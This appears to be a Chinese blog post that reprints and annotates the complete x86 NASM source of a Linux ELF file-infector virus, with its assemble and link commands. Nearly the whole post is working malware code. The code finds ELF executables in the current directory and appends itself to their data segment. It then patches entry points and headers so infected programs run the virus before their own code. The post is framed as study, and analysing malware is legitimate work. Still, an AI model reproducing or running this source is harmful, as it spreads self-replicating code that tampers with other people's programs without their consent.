用汇编编写病毒

允我心安 提交于 2020-01-11 00:14:59

用汇编编写一个病毒

在github上看到大神用汇编编写的linux病毒,学习一下

github地址:https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm

源码分析:

;; nasm -f elf -F dwarf -g cranky_data_virus.asm
;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o

section .text
    global v_start
;代码开始处
v_start:
    ; virus body start

    ; make space in the stack for some uninitialized variables to avoid a .bss section
    mov ecx, 2328   ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
;不断向栈上push 0,用作全局未初始化变量空间,依次push是4个字节loop_bss:
    push 0x00       ; reserve 4 bytes (double word) of 0's
    sub ecx, 1      ; decrement our counter by 1
    cmp ecx, 0
    jbe loop_bss  ;将这块空间的地址赋值给edi
    mov edi, esp    ; esp has our fake .bss offset.  Let's store it in edi for now.

    call folder  ;这是可以在栈上分配空间的方式,当call执行的时候,EIP被压栈,这个样ebx在pop之后就指向了栈中的".",也就是说下面的open打开的是“.”
    db ".", 0
folder:  ;目录就是“.”
    pop ebx         ; name of the folder
    mov esi, 0      ; reset offset for targets
    mov eax, 5      ; sys_open
    mov ecx, 0
    mov edx, 0
    int 80h
  ;检查返回值,做错误处理
    cmp eax, 0      ; check if fd in eax > 0 (ok)
    jbe v_stop        ; cannot open file.  Exit virus
  ;遍历“.”
    mov ebx, eax
    mov eax, 0xdc   ; sys_getdents64  ;将目录输出的地址设为前面分配的栈空间中,地址放在edi+32中
    mov ecx, edi    ; fake .bss section
    add ecx, 32     ; offset for buffer
    mov edx, 1024
    int 80h

    mov eax, 6  ; close
    int 80h
    xor ebx, ebx    ; zero out ebx as we will use it as the buffer offset
;这里从结果缓冲区中寻找0008这两个字节,应该是linux_dirent64结构前面的type等信息有固定模式
find_filename_start:
    ; look for the sequence 0008 which occurs before the start of a filename  ;这里的ebx应该是作为字符串长度的指针,用1024和ebx做比较,当大于1024的时候直接跳转到infect,这应该是缓冲区长度不超过1024
    inc ebx
    cmp ebx, 1024
    jge infect  ;edi+32就是存放目录遍历输出的地方,ebx就是向前的所索引,这里就是利用ebx不断向前读,直到找到0008这两个字符
    cmp byte [edi+32+ebx], 0x00     ; edi+32 is buffer
    jnz find_filename_start
    inc ebx
    cmp byte [edi+32+ebx], 0x08     ; edi+32 is buffer
    jnz find_filename_start
  ;往缓冲区头部写入.和/,因为edi是内存区开始,edi+32才开始存放目录遍历的输出,这里是直接在edi处写入当前目录,ecx做位索引
    xor ecx, ecx    ; clear out ecx which will be our offset for file
    mov byte [edi+ecx], 0x2e   ; prepend file with ./ for full path (.)  edi is filename
    inc ecx
    mov byte [edi+ecx], 0x2f   ; prepend file with ./ for full path (/)  edi is filename
    inc ecx
;到这里。ebx作为索引,在sys_getdents的返回值中遍历字符串。ecx指向新建的字符串的末尾,两个都是共用一个缓冲区,新字符串从edi开始,而sys_getdents;是从edi+32的位置开始存放结果
find_filename_end:
    ; look for the 00 which denotes the end of a filename
    inc ebx
    cmp ebx, 1024
    jge infect
  ;这里将esi指向原sys_getdents返回结果(ebx表示结尾处),edi指向新的文件名字符串(ecx表示结尾处),然后使用movsb复制内容
    push esi                ; save our target offset
    mov esi, edi            ; fake .bss
    add esi, 32             ; offset for buffer
    add esi, ebx            ; set source
    push edi                ; save our fake .bss
    add edi, ecx            ; set destination to filename
    movsb                   ; moved byte from buffer to filename
    pop edi                 ; restore our fake .bss
    pop esi                 ; restore our target offset
    inc ecx                 ; increment offset stored in ecx
  ;复制文件名字符串直到末尾是‘\0’
    cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
    jnz find_filename_end
  ;为新字符串的末尾增加一个‘\0’
    mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
  ;ebx表示原缓冲区的结尾处,入栈,当作第一个参数
    push ebx                ; save our offset in buffer
    call scan_file
    pop ebx                 ; restore our offset in buffer
  ;对下一个文件执行操作
    jmp find_filename_start ; find next file

scan_file:
    ; check the file for infectability
    mov eax, 5      ; sys_open   ;edi指向的是新字符串的开头
    mov ebx, edi    ; path (offset to filename)
    mov ecx, 0      ; O_RDONLY
    int 80h

    cmp eax, 0      ; check if fd in eax > 0 (ok)
    jbe return      ; cannot open file.  Return

    mov ebx, eax    ; fd
    mov eax, 3      ; sys_read
    mov ecx, edi    ; address struct  ;这里的2080处写的是目标文件的内容
    add ecx, 2080   ; offset to targetfile in fake .bss
    mov edx, 12     ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
    int 80h
  ;scan_file到这就是打开文件,然后读取了12个字节,根据这个去判断可执行文件的格式
    call elfheader  ;这里的技巧和上面的一样了,先用call将eip指针入栈,此时eip指向下面的数,接着pop指令就可以将这个数的地址存放到ecx中
    dd 0x464c457f     ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
    pop ecx
    mov ecx, dword [ecx]
    cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword).  edi+2080 is offset to targetfile in fake .bss
    jnz close_file  ; not an executable ELF binary.  Return
  ;利用可执行文件头中的第8个字节往后的空余字段来标志该文件是否被感染
    ; check if infected
    mov ecx, 0x001edd0e     ; 0x0edd1e00 signature reversed for endianness
    cmp dword [edi+2080+8], ecx   ; signature should show up after the 8th byte.  edi+2080 is offset to targetfile in fake .bss
    jz close_file                   ; signature exists.  Already infected.  Close file.

save_target:  ;在下面的movsb中,esi是文件名,这一步之前保存在内存区的头部,并且加上了'.'和'/',将目标字符串又保存到内存区1056处
    ; good target!  save filename
    push esi    ; save our targets offset
    push edi    ; save our fake .bss
    mov ecx, edi    ; temporarily place filename offset in ecx
    add edi, 1056   ; offset to targets in fake .bss
    add edi, esi
    mov esi, ecx    ; filename -> edi -> ecx -> esi
    mov ecx, 32
    rep movsb   ; save another target filename in targets
    pop edi     ; restore our fake .bss
    pop esi     ; restore our targets offset
    add esi, 32

close_file:
    mov eax, 6
    int 80h
;这一步的return应该return到call scan_file处
return:
    ret

infect:
    ; let's infect these targets!
    cmp esi, 0
    jbe v_stop ; there are no targets :( exit

    sub esi, 32

    mov eax, 5              ; sys_open
    mov ebx, edi            ; path  ;前面看到已经将文件名写到了1056处
    add ebx, 1056           ; offset to targets in fake .bss
    add ebx, esi            ; offset of next filename
    mov ecx, 2              ; O_RDWR
    int 80h

    mov ebx, eax            ; fd

    mov ecx, edi
    add ecx, 2080           ; offset to targetfile in fake .bss
;不断的读,直到返回0,这表示读到了结尾,这里整个文件都写到缓冲区2080处,也就是ecx指向的位置
reading_loop:
    mov eax, 3              ; sys_read
    mov edx, 1              ; read 1 byte at a time (yeah, I know this can be optimized)
    int 80h

    cmp eax, 0              ; if this is 0, we've hit EOF
    je reading_eof
    mov eax, edi  ;文件大小不能超过7232
    add eax, 9312           ; 2080 + 7232
    cmp ecx, eax            ; if the file is over 7232 bytes, let's quit
    jge infect
    add ecx, 1
    jmp reading_loop
;文件读取结束之后就跳转到这里了
reading_eof:;此时ecx应该指向的是读取文件的末尾,读取文件的内容应该在2080到ecx处,这里入栈保存下来
    push ecx                ; store address of last byte read. We'll need this later
    mov eax, 6              ; close file
    int 80h
  ;这里开始解析elf文件
    xor ecx, ecx
    xor eax, eax
    mov cx, word [edi+2080+44]     ; ehdr->phnum (number of program header entries)  ;eax将指向程序头表的开头位置
    mov eax, dword [edi+2080+28]   ; ehdr->phoff (program header offset)
    sub ax, word [edi+2080+42]     ; subtract 32 (size of program header entry) to initialize loop

program_header_loop:
    ; loop through program headers and find the data segment (PT_LOAD, offset>0)

    ;0    p_type    type of segment
    ;+4    p_offset    offset in file where to start the segment at
    ;+8    p_vaddr    his virtual address in memory
    ;+c    p_addr    physical address (if relevant, else equ to p_vaddr)
    ;+10    p_filesz    size of datas read from offset
    ;+14    p_memsz    size of the segment in memory
    ;+18    p_flags    segment flags (rwx perms)
    ;+1c    p_align    alignement  ;42处表示一个程序头表项的大小,此处将
    add ax, word [edi+2080+42]
    cmp ecx, 0  ;ecx中存放的是程序头表的带下,如果等于0,则说明已经遍历完了
    jbe infect                  ; couldn't find data segment.  let's close and look for next target
    sub ecx, 1                  ; decrement our counter by 1
  ;TYPE是PT_LOAD,则跳回前面,继续遍历下一个程序头
    mov ebx, dword [edi+2080+eax]   ; phdr->type (type of segment)
    cmp ebx, 0x01                   ; 0: PT_NULL, 1: PT_LOAD, ...
    jne program_header_loop             ; it's not PT_LOAD.  look for next program header
  ;ebx指向段的起始地址
    mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
    cmp ebx, 0x00                       ; if it's 0, it's the text segment.  Otherwise, we found the data segment
    je program_header_loop              ; it's the text segment.  We're interested in the data segment
  ;下面关于每个偏移量都有注释
    mov ebx, dword [edi+2080+24]        ; old entry point
    push ebx                            ; save the old entry point
    mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
    mov edx, dword [edi+2080+eax+16]    ; phdr->filesz (size of segment on disk)
    add ebx, edx                        ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
    push ebx                            ; save the offset of our virus
    mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (virtual address in memory)
    add ebx, edx        ; new entry point = phdr[data]->vaddr + p[data]->filesz
  ;这里写回一个魔数,表示这个elf文件已经被感染了
    mov ecx, 0x001edd0e     ; insert our signature at byte 8 (unused section of the ELF header)
    mov [edi+2080+8], ecx
    mov [edi+2080+24], ebx  ; overwrite the old entry point with the virus (in buffer)  ;v_stop表示的是程序的末尾,v_start表示的是程序的开头,两者相减,最后再加上一个7字节的大小,表示整个程序的大小  ;因为在最后写入文件的时候还会写入7个字节的跳转指令,写在v_stop之后,所以这个大小的计算应该是这样
    add edx, v_stop - v_start   ; add size of our virus to phdr->filesz
    add edx, 7                  ; for the jmp to original entry point  ;重写
    mov [edi+2080+eax+16], edx  ; overwrite the old phdr->filesz with the new one (in buffer)
    mov ebx, dword [edi+2080+eax+20]    ; phdr->memsz (size of segment in memory)
    add ebx, v_stop - v_start   ; add size of our virus to phdr->memsz
    add ebx, 7                  ; for the jmp to original entry point
    mov [edi+2080+eax+20], ebx  ; overwrite the old phdr->memsz with the new one (in buffer)

    xor ecx, ecx
    xor eax, eax  ;下面去遍历节区
    mov cx, word [edi+2080+48]      ; ehdr->shnum (number of section header entries)
    mov eax, dword [edi+2080+32]    ; ehdr->shoff (section header offset)
    sub ax, word [edi+2080+46]      ; subtract 40 (size of section header entry) to initialize loop
;下面的操作就是去遍历程序头表和节区表,更改里面的一些数据
section_header_loop:
    ; loop through section headers and find the .bss section (NOBITS)

    ;0    sh_name    contains a pointer to the name string section giving the
    ;+4    sh_type    give the section type [name of this section
    ;+8    sh_flags    some other flags ...
    ;+c    sh_addr    virtual addr of the section while running
    ;+10    sh_offset    offset of the section in the file
    ;+14    sh_size    zara white phone numba
    ;+18    sh_link    his use depends on the section type
    ;+1c    sh_info    depends on the section type
    ;+20    sh_addralign    alignement
    ;+24    sh_entsize    used when section contains fixed size entrys
    add ax, word [edi+2080+46]
    cmp ecx, 0
    jbe finish_infection        ; couldn't find .bss section.  Nothing to worry about.  Finish the infection
    sub ecx, 1                  ; decrement our counter by 1

    mov ebx, dword [edi+2080+eax+4]     ; shdr->type (type of section)
    cmp ebx, 0x00000008         ; 0x08 is NOBITS which is an indicator of a .bss section
    jne section_header_loop     ; it's not the .bss section

    mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (virtual address in memory)
    add ebx, v_stop - v_start   ; add size of our virus to shdr->addr
    add ebx, 7                  ; for the jmp to original entry point  ;写回
    mov [edi+2080+eax+12], ebx  ; overwrite the old shdr->addr with the new one (in buffer)

section_header_loop_2:
    mov edx, dword [edi+2080+eax+16]    ; shdr->offset (offset of section)
    add edx, v_stop - v_start   ; add size of our virus to shdr->offset
    add edx, 7                  ; for the jmp to original entry point
    mov [edi+2080+eax+16], edx  ; overwrite the old shdr->offset with the new one (in buffer)

    add eax, 40
    sub ecx, 1
    cmp ecx, 0
    jg section_header_loop_2    ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping

finish_infection:
    ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point)
    ;dword [edi+2080+28]       ; ehdr->phoff (program header offset)
    ;dword [edi+2080+32]       ; ehdr->shoff (section header offset)
    ;word [edi+2080+40]        ; ehdr->ehsize (size of elf header)
    ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry)
    ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries)
    ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry)
    ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries)
    mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point
    add eax, 7                      ; for the jmp to original entry point
    mov ebx, dword [edi+2080+32]    ; the original section header offset
    add eax, ebx                    ; add the original section header offset
    mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer)
  ;到这里关于原elf文件的更改就结束了,
    mov eax, 5              ; sys_open
    mov ebx, edi            ; path
    add ebx, 1056           ; offset to targets in fake .bss
    add ebx, esi            ; offset of next filename
    mov ecx, 2              ; O_RDWR
    int 80h

    mov ebx, eax            ; fd
    mov eax, 4              ; sys_write
    mov ecx, edi
    add ecx, 2080           ; offset to targetfile in fake .bss  ;这里往前看一个push,可以知道在栈顶的是data段的结尾地址,也就是说这部分是寄生代码之前需要写入的数据大小
    pop edx                 ; host file up to the offset where the virus resides
    int 80h
    mov [edi+7], edx        ; place the offset of the virus in this unused section of the filename buffer

    call delta_offset
delta_offset:
    pop ebp                 ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files.  This will be 0 in our original virus
    sub ebp, delta_offset
  ;4号调用时write,写入病毒代码
    mov eax, 4
    lea ecx, [ebp + v_start]    ; attach the virus portion (calculated with the delta offset)
    mov edx, v_stop - v_start   ; size of virus bytes
    int 80h
  ;这里再向最后写入7个字节的代码,这7个字节可以跳转回原程序地址
    pop edx                 ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
    mov [edi], byte 0xb8        ; op code for MOV EAX (1 byte)
    mov [edi+1], edx            ; original entry point (4 bytes)
    mov [edi+5], word 0xe0ff    ; op code for JMP EAX (2 bytes)

    mov eax, 4
    mov ecx, edi            ; offset to filename in fake .bss
    mov edx, 7              ; 7 bytes for the final jmp to the original entry point
    int 80h

    mov eax, 4              ; sys_write
    mov ecx, edi
    add ecx, 2080           ; offset to targetfile in fake .bss
    mov edx, dword [edi+7]  ; offset of the virus
    add ecx, edx            ; let's continue where we left off

    pop edx                 ; offset of last byte in targetfile in fake.bss
    sub edx, ecx            ; length of bytes to write
    int 80h

    mov eax, 36             ; sys_sync
    int 80h

    mov eax, 6              ; close file
    int 80h

    jmp infect

v_stop:
    ; virus body stop (host program start)
    mov eax, 1      ; sys_exit
    mov ebx, 0      ; normal status
    int 80h

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!